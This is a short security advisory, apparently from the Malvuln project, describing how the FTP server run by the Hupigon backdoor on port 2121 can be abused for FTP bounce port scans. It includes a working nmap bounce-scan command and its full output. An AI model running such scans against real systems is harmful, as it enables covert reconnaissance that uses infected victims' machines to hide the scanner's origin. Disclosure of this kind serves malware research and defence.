Backdoor.Win32.Hupigon.afjk Man-In-The-Middle

Backdoor.Win32.Hupigon.afjk malware suffers from a man-in-the-middle vulnerability.

MD5 | 90fb9c27bbbb1a96acdfede9aeaca7e9

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Hupigon.afjk
Vulnerability: Port Bounce Scan
Description: The malware runs an FTP server "huigezi Ftp" that listens on TCP port 2121. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: 80b0fc8c0657c0ae7971f09af45c706b
Vuln ID: MVID-2021-0375
Disclosure: 10/27/2021

nmap -n -Pn -b mal:[email protected]:2121 -p21,22,23,79,80,443 -v
Starting Nmap 7.80 ( ) at 2021-10-27 12:57 Pacific Daylight Time
Resolved FTP bounce attack proxy to (
Attempting connection to ftp://mal:[email protected]:2121
Connected:220 Welcome To huigezi Ftp!
Login credentials accepted by FTP server!
Initiating Bounce Scan at 12:58
Discovered open port 80/tcp on
Completed Bounce Scan at 12:58, 5.48s elapsed (6 total ports)
Nmap scan report for
Host is up.

21/tcp closed ftp
22/tcp closed ssh
23/tcp closed telnet
79/tcp closed finger
80/tcp open http
443/tcp closed https

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 14.72 seconds

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